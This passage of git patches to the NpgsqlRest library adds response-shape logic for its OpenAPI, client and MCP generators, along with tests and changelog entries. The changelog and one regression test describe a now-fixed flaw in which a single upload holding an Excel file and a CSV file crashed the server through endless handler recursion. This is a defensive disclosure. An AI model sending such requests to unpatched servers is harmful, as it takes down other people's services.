foreach (var name in test.Endpoints.Keys.Where(n => n != "kept_inside")) { test.Generated[name].Select(g => $"{g.Generator}/{g.Role}").Order().Should().Equal( "httpfiles/requests", "openapi/document", "tsclient/client", "tsclient/hooks"); diff --git a/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs b/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs index 56db1b85..8caa6d13 100644 --- a/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs +++ b/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs @@ -642,6 +642,34 @@ public async Task Test_excel_fallback_to_csv() idx.Should().Be(2); } + [Fact] + public async Task Test_excel_and_csv_in_one_request_with_a_fallback_answers() + { + // "upload for excel" with "fallback_handler = csv", and a request that carries an Excel file and a CSV + // file. The Excel handler hands the request to the CSV handler because of the CSV file; the CSV handler + // has the same fallback_handler and handed the request to itself because of the Excel file, without end: + // the stack overflowed and the server process ended. + using var formData = new MultipartFormDataContent(); + using var excel = LoadTestFile("test-excel-simple.xlsx"); + formData.Add(excel, "file", "test-excel-simple.xlsx"); + using var csv = new ByteArrayContent(System.Text.Encoding.UTF8.GetBytes("20,Item 20,1\n21,Item 21,2\n")); + csv.Headers.ContentType = new MediaTypeHeaderValue("text/csv"); + formData.Add(csv, "file2", "more.csv"); + + using var result = await test.Client.PostAsync("/api/excel-fallback-excel-ok-upload/", formData); + var response = await result.Content.ReadAsStringAsync(); + result.StatusCode.Should().Be(HttpStatusCode.OK, response); + + // the request was handed over once, to the CSV handler: it takes the CSV file and refuses the Excel file + var files = JsonDocument.Parse(response).RootElement.EnumerateArray().ToList(); + files.Select(f => $"{f.GetProperty("type").GetString()} {f.GetProperty("fileName").GetString()} {f.GetProperty("success").GetBoolean()} {f.GetProperty("status").GetString()}") + .Should().Equal("csv test-excel-simple.xlsx False ProbablyBinary", "csv more.csv True Ok"); + + // and the server is still there + using var again = await test.Client.PostAsync("/api/excel-fallback-excel-ok-upload/", new MultipartFormDataContent { { LoadTestFile("test-excel-simple.xlsx"), "file", "test-excel-simple.xlsx" } }); + again.StatusCode.Should().Be(HttpStatusCode.OK); + } + [Fact] public async Task Test_excel_fallback_endpoint_still_handles_excel() { diff --git a/changelog/v4.1.0.md b/changelog/v4.1.0.md index 7a97f2fb..7bbd3e54 100644 --- a/changelog/v4.1.0.md +++ b/changelog/v4.1.0.md @@ -10,7 +10,7 @@ This release makes NpgsqlRest easier to work with from an editor or any other to - **`npgsqlrest --parse` reads a comment the way the server does**, without a database: which lines are annotations, which are text, which are written as annotations and read by nothing. - **`RequireAtPrefix`**: an optional strict reading of comments in which only a line that begins with `@` is an annotation. It is off by default, so nothing changes for existing projects. - **Npgsql 11.** Performance is the same as 4.0.1 (measured, as JIT and as native AOT). -- **Fixes**: a tab between the words of an annotation, quoted identifiers and `$1$2` in SQL files, logout without a valid token in an application that only uses JWT, and the `NpgsqlRest.Mcp` package, which had never been published to NuGet. +- **Fixes**: an upload that ended the server process, a tab between the words of an annotation, quoted identifiers and `$1$2` in SQL files, logout without a valid token in an application that only uses JWT, and the `NpgsqlRest.Mcp` package, which had never been published to NuGet. Nothing changes in the behavior of an existing application unless it has one of the four things listed under [What to check](#what-to-check). @@ -38,7 +38,9 @@ Starts like `--endpoints` (it connects, builds the endpoints, prints JSON and ex } ``` -`endpoints` is what `--endpoints` prints. The other two are new. +`endpoints` is what `--endpoints` prints (both now mark an endpoint that has no HTTP route, such as an MCP-only tool, with `"internalOnly": true`). The other two are new. + +Like `--endpoints` and like a normal start, `--inspect` runs the generators that are enabled, so it writes the client, HTTP and OpenAPI files: that is how it knows their lines. **`notExposed`**: everything that was looked at and is not an endpoint. @@ -251,6 +253,23 @@ The SQL file source splits a file into statements and collects its comments. Thr - **Escape strings.** In `E'it\'s'` the backslash-escaped quote ended the string. Inside `E'...'` a backslash now escapes the next character. - **`$1$2`.** Two parameters side by side were read as the opening of a dollar-quoted string tagged `1`, and the rest of the file became that string. A dollar-quote tag is an identifier and cannot begin with a digit. +#### An Excel file and a CSV file in one upload ended the server + +**What was wrong.** With an upload endpoint for Excel that falls back to CSV: + +```sql +comment on function import(json) is ' +upload for excel +fallback_handler = csv +...'; +``` + +a request that carried an Excel file **and** a CSV file ended the server process. The Excel handler hands the request to the CSV handler because of the CSV file. A fallback handles the whole request with the same parameters, so the CSV handler had `fallback_handler = csv` too, and for the Excel file it handed the request to itself, and again, until the stack overflowed. Any caller who may upload to such an endpoint could do it with one request. This is not new in 4.x. + +**What changed.** A handler is never handed the same request twice. The CSV handler now answers for both files: the CSV file is imported and the Excel file is refused (`"status": "ProbablyBinary"`). + +Found by running the [examples](https://github.com/NpgsqlRest/npgsqlrest-docs/tree/main/examples) against this release (example 7). + #### Logout without a valid token in an application that only uses JWT 4.0.1 stopped a logout that carries a JWT from answering `500`. One case was left: an application whose only authentication scheme is JWT, and a logout endpoint called without a token, or with an expired one. There is then no scheme that authenticated the request, the default sign-out scheme is the JWT handler again, and it cannot sign out. Such a logout now answers normally: there is no session on the server to end. @@ -261,12 +280,13 @@ The MCP plugin has been part of the `npgsqlrest` executable and its Docker image ### Tests -3,359 tests on .NET 11 (3,340 on .NET 10), 61 of them new, green on .NET 11, on .NET 10 and with Runtime Async, with Npgsql 11; Native AOT publish without new warnings, and the AOT smoke test. +3,360 tests on .NET 11 (3,341 on .NET 10), 62 of them new, green on .NET 11, on .NET 10 and with Runtime Async, with Npgsql 11; Native AOT publish without new warnings, and the AOT smoke test. - `RequireAtPrefixTests`: an application with the setting on: a comment in the short form creates no endpoint and is reported; prefixed comments are read as before; unprefixed lines are text whatever they begin with (annotations, `key = value`, headers, tags, plugin lines); the warnings for unprefixed lines that restrict access. - `EndpointReportTests`: every reason of `notExposed`, the routines left out by schema and name filters, the tab separator, and for the TypeScript client, its hooks, HTTP files and OpenAPI the file, name and line of each endpoint (including two endpoints whose paths begin alike). - `CommentInspectorTests` and the command-line tests for `--parse`, `--parse-comment` and `--inspect` (with SQL files that are good, without an HTTP line, broken and empty). - `LexerAndPrefixTests`: quoted identifiers, escape strings, `$1$2`, dollar-quoted strings, and the SQL file source's own lines under both settings. +- `ExcelUploadTests.Test_excel_and_csv_in_one_request_with_a_fallback_answers`. - `JwtOnlyLogoutTests`: logout with no token, a token that is not valid, and a valid one, in an application whose only scheme is JWT. ### NuGet Package Upgrades From 32d80ba6e4dea03c08d8503aa3e760214bd2d22c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 08:56:10 +0100 Subject: [PATCH 30/38] fix: 4.1.1 - OpenAPI, generated clients and MCP describe what endpoints answer with (#36) The generators decided the response from the routine alone and ignored the endpoint's annotations, so their descriptions differed from the responses. - core: RoutineEndpoint.GetResponseKind, one decision for all generators; the cache invalidation endpoint gets the cached endpoint's custom parameters - OpenAPI: single, void (204), text/plain values, bytea, raw, table_format, json as any value, composite arrays, nested, record, SQL files with several statements, cache invalidation, proxy, login - TsClient, DartClient: raw returns text, table_format and bytea return the response, cache invalidation returns { invalidated }, Dart void annotation - MCP: outputSchema and structuredContent agree for a set with one named column, single and the void annotation --- NpgsqlRest/NpgsqlRestBuilder.cs | 6 +- NpgsqlRest/RoutineEndpoint.cs | 62 ++++ .../DartClientTests/ResponseShapeTests.cs | 219 +++++++++++ .../McpTests/McpResponseShapeTests.cs | 100 +++++ .../OpenApiTests/ResponseShapeTests.cs | 341 ++++++++++++++++++ .../OpenApiTests/SpecVersion32Tests.cs | 6 +- .../OpenApiSqlFileResponseTests.cs | 87 +++++ .../Setup/SqlFileSourceTestFixture.cs | 8 + .../TsClientTests/ResponseShapeTests.cs | 199 ++++++++++ changelog/v4.1.1.md | 92 +++++ plugins/NpgsqlRest.DartClient/DartClient.cs | 25 +- plugins/NpgsqlRest.Mcp/McpServer.cs | 115 ++++-- plugins/NpgsqlRest.OpenApi/OpenApi.cs | 95 +---- plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs | 281 +++++++++++++++ plugins/NpgsqlRest.TsClient/TsClient.cs | 20 +- 15 files changed, 1521 insertions(+), 135 deletions(-) create mode 100644 NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs create mode 100644 NpgsqlRestTests/McpTests/McpResponseShapeTests.cs create mode 100644 NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs create mode 100644 NpgsqlRestTests/SqlFileSourceTests/OpenApiTests/OpenApiSqlFileResponseTests.cs create mode 100644 NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs create mode 100644 changelog/v4.1.1.md create mode 100644 plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 13ed3efc..ce720e4e 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -505,7 +505,11 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau authorizeRoles: endpoint.AuthorizeRoles, cached: true, cachedParams: endpoint.CachedParams?.ToArray(), - connectionName: endpoint.ConnectionName + connectionName: endpoint.ConnectionName, + // the endpoint's custom parameters, so that the settings of the code generators (the + // module of a generated client function, whether one is generated at all) apply to + // this endpoint as they do to the endpoint it belongs to + customParameters: endpoint.CustomParameters ) { InvalidateCache = true, diff --git a/NpgsqlRest/RoutineEndpoint.cs b/NpgsqlRest/RoutineEndpoint.cs index 9340daef..f12a1040 100644 --- a/NpgsqlRest/RoutineEndpoint.cs +++ b/NpgsqlRest/RoutineEndpoint.cs @@ -507,6 +507,49 @@ public bool OmitParameterFromGeneratedRequest(NpgsqlRestParameter parameter) => IsAutomaticParameter(parameter) && (parameter.TypeDescriptor.HasDefault || parameter.TypeDescriptor.CustomType is not null); + /// + /// What kind of response this endpoint gives. The code and documentation generators (TypeScript and Dart + /// clients, OpenAPI, MCP) decide with this method what they say about the response, so that all of them say what + /// the request handling does: the conditions are the ones of NpgsqlRestEndpoint, in the same order. Login and + /// logout endpoints are not covered here: their response is decided by the authentication scheme. + /// + /// The options the endpoint was built with (for the registered table formats). + public EndpointResponseKind GetResponseKind(NpgsqlRestOptions? options = null) + { + if (InvalidateCache) + { + return EndpointResponseKind.CacheInvalidation; + } + // proxy_out always, and proxy when the routine returns nothing: the upstream response is passed on. + if (IsProxyOut || (IsProxy && Routine.IsVoid)) + { + return EndpointResponseKind.Upstream; + } + if (Routine.IsMultiCommand && Routine.MultiCommandInfo is not null) + { + return Void ? EndpointResponseKind.NoContent : EndpointResponseKind.Routine; + } + if (Routine.IsVoid || Void) + { + return EndpointResponseKind.NoContent; + } + var binary = Routine.ColumnsTypeDescriptor is { Length: 1 } && Routine.ColumnsTypeDescriptor[0].IsBinary; + var oneValue = Routine.ReturnsSet is false && Routine.ColumnCount == 1 && Routine.ReturnsRecordType is false; + if (oneValue is false + && options?.TableFormatHandlers is not null + && CustomParameters is not null + && CustomParameters.TryGetValue("table_format", out var format) + && (options.TableFormatHandlers.ContainsKey(format) || format.Contains('{'))) + { + return EndpointResponseKind.TableFormat; + } + if (binary) + { + return EndpointResponseKind.Binary; + } + return Raw ? EndpointResponseKind.RawText : EndpointResponseKind.Routine; + } + /// /// True when this parameter is the one designated by @body_parameter_name — it carries the /// raw request body rather than a query/JSON field. The configured name is matched @@ -526,3 +569,22 @@ public bool IsBodyParameter(NpgsqlRestParameter parameter) || (parameter.ExpandedName is not null && string.Equals(BodyParameterName, parameter.ExpandedName, StringComparison.OrdinalIgnoreCase)); } } + +/// What kind of response an endpoint gives (see ). +public enum EndpointResponseKind +{ + /// What the routine returns, as JSON (or as text, for a single value that is not json or an array). + Routine, + /// 204 No Content: the routine returns nothing, or the endpoint has the void annotation. + NoContent, + /// What the routine returns, as text that is not JSON: the raw annotation. + RawText, + /// The bytes of a single bytea value. + Binary, + /// The rows in a table format (an HTML table, an Excel file...): the table_format annotation. + TableFormat, + /// The response of the upstream service, as it is: proxy_out, or proxy with a routine that returns nothing. + Upstream, + /// {"invalidated": true|false}: the cache invalidation endpoint of a cached endpoint. The routine is not run. + CacheInvalidation +} diff --git a/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs new file mode 100644 index 00000000..5ee19698 --- /dev/null +++ b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs @@ -0,0 +1,219 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void DartClientResponseShapeTests() + { + script.Append(""" +create schema if not exists dartclient_test; + +create function dartclient_test.shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_raw() is ' +dartclient_module=dart_shape +raw +separator ,'; + +create function dartclient_test.shape_void() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_void() is ' +dartclient_module=dart_shape +@void'; + +create function dartclient_test.shape_html() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_html() is ' +dartclient_module=dart_shape +@table_format = html'; + +create function dartclient_test.shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function dartclient_test.shape_bytes() is ' +dartclient_module=dart_shape'; + +create function dartclient_test.shape_cached() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_cached() is ' +dartclient_module=dart_shape +cached'; +"""); + } + } +} + +namespace NpgsqlRestTests.DartClientTests +{ + // What the generated functions return, for endpoints that do not answer with the routine's rows as JSON. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests + { + private const string Expected = """ +import 'dart:convert'; +import 'package:http/http.dart' as http; + +String baseUrl = ''; + +/// Override to inject a custom [http.Client] (e.g. MockClient in tests). +http.Client? httpClient; + +http.Client get _client => httpClient ??= http.Client(); + +Future _send( + String method, + Uri uri, { + Map? headers, + String? body, +}) async { + final request = http.Request(method, uri); + if (headers != null) { + request.headers.addAll(headers); + } + if (body != null) { + request.body = body; + } + return http.Response.fromStream(await _client.send(request)); +} + +class DartclientTestShapeCachedResponse { + final int? a; + final String? b; + + const DartclientTestShapeCachedResponse({ + this.a, + this.b, + }); + + factory DartclientTestShapeCachedResponse.fromJson(Map json) { + return DartclientTestShapeCachedResponse( + a: (json['a'] as num?)?.toInt(), + b: json['b'] as String?, + ); + } + + Map toJson() { + return { + 'a': a, + 'b': b, + }; + } +} + +/// function dartclient_test.shape_bytes() +/// returns bytea +/// +/// comment on function dartclient_test.shape_bytes is 'dartclient_module=dart_shape'; +/// +/// Returns `http.Response`. +/// +/// See FUNCTION dartclient_test.shape_bytes +Future dartclientTestShapeBytes() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-bytes'); + final response = await _send('POST', uri); + return response; +} + +/// function dartclient_test.shape_cached() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_cached is 'dartclient_module=dart_shape +/// cached'; +/// +/// Returns `List`. +/// +/// See FUNCTION dartclient_test.shape_cached +Future> dartclientTestShapeCached() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-cached'); + final response = await _send( + 'POST', + uri, + headers: { + 'Content-Type': 'application/json', + }, + ); + return (jsonDecode(utf8.decode(response.bodyBytes)) as List) + .map((e) => DartclientTestShapeCachedResponse.fromJson(e as Map)) + .toList(); +} + +/// function dartclient_test.shape_cached() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_cached is 'dartclient_module=dart_shape +/// cached'; +/// +/// Returns `Map`. +/// +/// See FUNCTION dartclient_test.shape_cached +Future> dartclientTestShapeCachedInvalidate() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-cached/invalidate'); + final response = await _send('POST', uri); + return jsonDecode(utf8.decode(response.bodyBytes)) as Map; +} + +/// function dartclient_test.shape_html() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_html is 'dartclient_module=dart_shape +/// @table_format = html'; +/// +/// Returns `http.Response`. +/// +/// See FUNCTION dartclient_test.shape_html +Future dartclientTestShapeHtml() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-html'); + final response = await _send('POST', uri); + return response; +} + +/// function dartclient_test.shape_raw() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_raw is 'dartclient_module=dart_shape +/// raw +/// separator ,'; +/// +/// Returns `String`. +/// +/// See FUNCTION dartclient_test.shape_raw +Future dartclientTestShapeRaw() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-raw'); + final response = await _send('POST', uri); + return utf8.decode(response.bodyBytes); +} + +/// function dartclient_test.shape_void() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_void is 'dartclient_module=dart_shape +/// @void'; +/// +/// See FUNCTION dartclient_test.shape_void +Future dartclientTestShapeVoid() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-void'); + await _send('POST', uri); +} + +"""; + + [Fact] + public void Test_ResponseShape_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.DartClientOutputPath, "dart_shape.dart"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs new file mode 100644 index 00000000..d76185ee --- /dev/null +++ b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs @@ -0,0 +1,100 @@ +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + // Return shapes on which a tool's outputSchema and its structuredContent used to disagree with what the + // endpoint answers. https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + public static void McpResponseShapeTools() + { + script.Append(@" +create schema if not exists mcp; + +-- a set with ONE NAMED column: rows are objects, not values +create function mcp.shape_one_column() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_one_column() is ' +HTTP GET +@mcp A set of rows with one column.'; + +-- the same with `single`: one row, an object +create function mcp.shape_one_column_single() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_one_column_single() is ' +HTTP GET +@mcp One row with one column. +single'; + +-- a set of values with `single`: one value +create function mcp.shape_value_single() returns setof text language sql as 'select ''a'''; +comment on function mcp.shape_value_single() is ' +HTTP GET +@mcp One value of a set. +single'; + +-- the `void` annotation on a routine that returns rows: no body +create function mcp.shape_void() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_void() is ' +HTTP GET +@mcp Runs and returns nothing. +void'; +"); + } +} + +[Collection("McpPluginFixture")] +public class McpResponseShapeTests(McpPluginTestFixture test) +{ + private async Task CallAsync(string tool) + { + var json = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"" + + tool + "\",\"arguments\":{}}}"; + using var content = new StringContent(json, Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + response.StatusCode.Should().Be(HttpStatusCode.OK); + return await response.Content.ReadAsStringAsync(); + } + + private async Task ToolDefAsync(string tool) + { + using var content = new StringContent("""{"jsonrpc":"2.0","id":1,"method":"tools/list"}""", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + var tools = JsonNode.Parse(await response.Content.ReadAsStringAsync())!["result"]!["tools"]!.AsArray(); + return tools.First(t => t!["name"]!.GetValue() == tool)!.ToJsonString(); + } + + [Fact] + public async Task Set_with_one_named_column_is_items_of_objects() + { + (await CallAsync("shape_one_column")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"items\":[{\"val\":\"a\"}]}"}],"isError":false,"structuredContent":{"items":[{"val":"a"}]}}}"""); + (await ToolDefAsync("shape_one_column")).Should().Be( + """{"name":"shape_one_column","description":"A set of rows with one column.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"items":{"type":"array","items":{"type":"object","properties":{"val":{"type":["string","null"]}}}}}}}"""); + } + + [Fact] + public async Task Single_row_with_one_named_column_is_the_object_itself() + { + (await CallAsync("shape_one_column_single")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"val\":\"a\"}"}],"isError":false,"structuredContent":{"val":"a"}}}"""); + (await ToolDefAsync("shape_one_column_single")).Should().Be( + """{"name":"shape_one_column_single","description":"One row with one column.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"val":{"type":["string","null"]}}}}"""); + } + + [Fact] + public async Task Single_value_of_a_set_is_wrapped_as_value() + { + (await CallAsync("shape_value_single")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"value\":\"a\"}"}],"isError":false,"structuredContent":{"value":"a"}}}"""); + (await ToolDefAsync("shape_value_single")).Should().Be( + """{"name":"shape_value_single","description":"One value of a set.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"value":{"type":["string","null"]}}}}"""); + } + + [Fact] + public async Task Void_annotation_has_no_structured_content_and_no_output_schema() + { + (await CallAsync("shape_void")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":""}],"isError":false}}"""); + (await ToolDefAsync("shape_void")).Should().Be( + """{"name":"shape_void","description":"Runs and returns nothing.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true}}"""); + } +} diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs new file mode 100644 index 00000000..36a74c64 --- /dev/null +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -0,0 +1,341 @@ +using System.Text.Json.Nodes; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void OpenApiResponseShapeTests() + { + script.Append(""" +create function oas_shape_register_thing() +returns table (thing_id int, name text) +language sql +as $$ +select 1, 'a'; +$$; +comment on function oas_shape_register_thing() is ' +@http POST /api/oas-shape/things +@single +Registers a thing.'; + +create function oas_shape_rows() returns table (thing_id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_rows() is 'HTTP GET'; + +create function oas_shape_values() returns setof text language sql as $$ select * from (values ('a'), ('b')) t(v) $$; +comment on function oas_shape_values() is 'HTTP GET'; + +create function oas_shape_single_value() returns setof text language sql as $$ select * from (values ('a'), ('b')) t(v) $$; +comment on function oas_shape_single_value() is ' +HTTP GET +@single'; + +create function oas_shape_one_column() returns table (val text) language sql as $$ select 'a' $$; +comment on function oas_shape_one_column() is 'HTTP GET'; + +create function oas_shape_void_annotation() returns table (thing_id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_void_annotation() is ' +HTTP GET +@void'; + +create function oas_shape_void() returns void language plpgsql as $$ begin end $$; +comment on function oas_shape_void() is 'HTTP GET'; + +create function oas_shape_text() returns text language sql as $$ select 'x' $$; +comment on function oas_shape_text() is 'HTTP GET'; + +create function oas_shape_int() returns int language sql as $$ select 42 $$; +comment on function oas_shape_int() is 'HTTP GET'; + +create function oas_shape_bool() returns boolean language sql as $$ select true $$; +comment on function oas_shape_bool() is 'HTTP GET'; + +create function oas_shape_json() returns json language sql as $$ select '[1,2]'::json $$; +comment on function oas_shape_json() is 'HTTP GET'; + +create function oas_shape_int_array() returns int[] language sql as $$ select array[1,2] $$; +comment on function oas_shape_int_array() is 'HTTP GET'; + +create function oas_shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function oas_shape_raw() is ' +HTTP GET +raw +separator ,'; + +create function oas_shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function oas_shape_bytes() is 'HTTP GET'; + +create function oas_shape_record() returns record language sql as $$ select 1, 'a'::text $$; +comment on function oas_shape_record() is 'HTTP GET'; + +create function oas_shape_json_column() returns table (id int, data json) language sql as $$ select 1, '[1,2]'::json $$; +comment on function oas_shape_json_column() is 'HTTP GET'; + +create type oas_shape_part as (id int, label text); + +create function oas_shape_parts() returns table (id int, parts oas_shape_part[]) +language sql as $$ select 1, array[row(10, 'x')::oas_shape_part] $$; +comment on function oas_shape_parts() is 'HTTP GET'; + +create function oas_shape_part_flat() returns table (code int, part oas_shape_part) +language sql as $$ select 1, row(10, 'x')::oas_shape_part $$; +comment on function oas_shape_part_flat() is 'HTTP GET'; + +create function oas_shape_part_nested() returns table (code int, part oas_shape_part) +language sql as $$ select 1, row(10, 'x')::oas_shape_part $$; +comment on function oas_shape_part_nested() is ' +HTTP GET +nested'; + +create function oas_shape_html() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_html() is ' +HTTP GET +@table_format = html'; + +create function oas_shape_cached() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_cached() is ' +HTTP GET +cached'; + +create function oas_shape_proxy() returns void language plpgsql as $$ begin raise exception 'not called'; end $$; +comment on function oas_shape_proxy() is 'HTTP GET +proxy GET /api/oas-shape-text'; + +create function oas_shape_content_type(_type text) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function oas_shape_content_type(text) is ' +HTTP GET +raw +separator , +Content-Type: {_type}'; + +create function oas_shape_login() returns table (name_identifier int, name text) language sql as $$ select 1, 'user' $$; +comment on function oas_shape_login() is ' +HTTP POST +login'; +"""); + } + } +} + +namespace NpgsqlRestTests.OpenApiTests +{ + // What the OpenAPI document says an endpoint answers with, next to what the endpoint answers with. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests(TestFixture test) + { + private static readonly Lazy Document = new(() => + { + var filePath = Path.Combine(Setup.Program.OpenApiOutputPath, "openapi.json"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + return JsonNode.Parse(File.ReadAllText(filePath))!; + }); + + /// The "responses" of an operation in the document. + private static string Documented(string path, string method = "get") + { + var operation = Document.Value["paths"]?[path]?[method]; + operation.Should().NotBeNull($"{method} {path} should be documented"); + return operation!["responses"]!.ToJsonString(); + } + + /// What the endpoint answers with: status, content type and body. + private async Task Answered(string path, string method = "GET") + { + using var request = new HttpRequestMessage(new HttpMethod(method), path); + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + private const string ThingProperties = """{"thingId":{"type":"integer","format":"int32"},"name":{"type":"string"}}"""; + + private static string Ok(string contentType, string schema) => + "{\"200\":{\"description\":\"Successful response\",\"content\":{\"" + contentType + "\":{\"schema\":" + schema + "}}}}"; + + private const string NoContent = """{"204":{"description":"No content"}}"""; + + [Fact] + public async Task Single_on_a_set_of_rows_is_one_object() + { + (await Answered("/api/oas-shape/things", "POST")).Should().Be("""200 application/json {"thingId":1,"name":"a"}"""); + Documented("/api/oas-shape/things", "post").Should().Be( + Ok("application/json", """{"type":"object","properties":""" + ThingProperties + "}")); + } + + [Fact] + public async Task Set_of_rows_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-rows")).Should().Be("""200 application/json [{"thingId":1,"name":"a"}]"""); + Documented("/api/oas-shape-rows").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":""" + ThingProperties + "}}")); + } + + [Fact] + public async Task Set_of_values_is_an_array_of_values() + { + (await Answered("/api/oas-shape-values")).Should().Be("""200 application/json ["a","b"]"""); + Documented("/api/oas-shape-values").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"string"}}""")); + } + + [Fact] + public async Task Single_on_a_set_of_values_is_one_value() + { + (await Answered("/api/oas-shape-single-value")).Should().Be("""200 application/json "a" """.TrimEnd()); + Documented("/api/oas-shape-single-value").Should().Be(Ok("application/json", """{"type":"string"}""")); + } + + [Fact] + public async Task Set_with_one_named_column_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-one-column")).Should().Be("""200 application/json [{"val":"a"}]"""); + Documented("/api/oas-shape-one-column").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"val":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Void_annotation_has_no_body() + { + (await Answered("/api/oas-shape-void-annotation")).Should().Be("204 "); + Documented("/api/oas-shape-void-annotation").Should().Be(NoContent); + } + + [Fact] + public async Task Routine_that_returns_nothing_has_no_body() + { + (await Answered("/api/oas-shape-void")).Should().Be("204 "); + Documented("/api/oas-shape-void").Should().Be(NoContent); + } + + [Fact] + public async Task Text_value_is_plain_text() + { + (await Answered("/api/oas-shape-text")).Should().Be("200 text/plain x"); + Documented("/api/oas-shape-text").Should().Be(Ok("text/plain", """{"type":"string"}""")); + } + + [Fact] + public async Task Number_value_is_plain_text() + { + (await Answered("/api/oas-shape-int")).Should().Be("200 text/plain 42"); + Documented("/api/oas-shape-int").Should().Be(Ok("text/plain", """{"type":"integer","format":"int32"}""")); + } + + [Fact] + public async Task Boolean_value_is_plain_text_t_or_f() + { + (await Answered("/api/oas-shape-bool")).Should().Be("200 text/plain t"); + Documented("/api/oas-shape-bool").Should().Be(Ok("text/plain", """{"type":"string","enum":["t","f"]}""")); + } + + [Fact] + public async Task Json_value_is_any_json() + { + (await Answered("/api/oas-shape-json")).Should().Be("200 application/json [1,2]"); + Documented("/api/oas-shape-json").Should().Be(Ok("application/json", "{}")); + } + + [Fact] + public async Task Array_value_is_a_json_array() + { + (await Answered("/api/oas-shape-int-array")).Should().Be("200 application/json [1,2]"); + Documented("/api/oas-shape-int-array").Should().Be( + Ok("application/json", 